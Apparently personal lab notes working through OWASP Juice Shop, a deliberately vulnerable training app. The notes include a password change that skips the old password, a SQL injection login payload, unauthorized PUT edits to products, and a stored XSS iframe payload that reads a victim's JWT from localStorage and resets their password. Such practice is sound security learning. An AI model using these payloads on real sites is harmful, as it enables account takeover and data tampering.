Chuanshuoge: cross site request forgery + API xss + SQL injection

download juice shop @ https://github.com/juice-shop/juice-shop/

install nodejs

node -v

v12.22.7

cd /home/kali/Downloads/juice-shop-master/

npm install

npm start

create account -> log in

start burpsuit -> turn off intercept -> login is scanned in http history

after logged in, navigate to change password page

enter old and new passwords

GET /rest/user/change-password?current=115500&new=abcde&repeat=abcde

right click on change password request -> send to repeater

change GET /rest/user/change-password?current=115500&new=abcde&repeat=abcde

to GET /rest/user/change-password?new=abcde&repeat=abcde

response 200 shows once user logged, password can be changed without old password

{"email":"' or 1=1 --","password":""}

send api/Quantities to repeater

change Get /api/Quantities to api/Products -> send

https://www.youtube.com/watch?v=aGjLR4uc0ys&list=PL8j1j35M7wtKXpTBE6V1RlN_pBZ4StKZw&index=20

change GET to OPTIONS -> obtain PUT request is allowed

change request to PUT /api/Products/1

add Content-Type: application/json

in the bottom add json {"description": "hacked juice"}

response shows description updated

verify hacked juice is in description on website

inspect website and find JWT is in local storage

API xss

using admin JWT, inject script in 1st product description in PUT /api/Products/1

{"description":"hacked juice <iframe src=\"javascript:var xmlhttp = new XMLHttpRequest();xmlhttp.open('GET', 'http://localhost:3000/rest/user/change-password?new=123321&repeat=123321');xmlhttp.setRequestHeader('Authorization', 'Bearer ' + window.localStorage.token); xmlhttp.send(); alert('password hacked to 123321')\">"}

https://stackoverflow.com/questions/52685215/how-to-send-jwt-in-xmlhttprequest

https://stackoverflow.com/questions/26340275/where-to-save-a-jwt-in-a-browser-based-application-and-how-to-use-it

https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage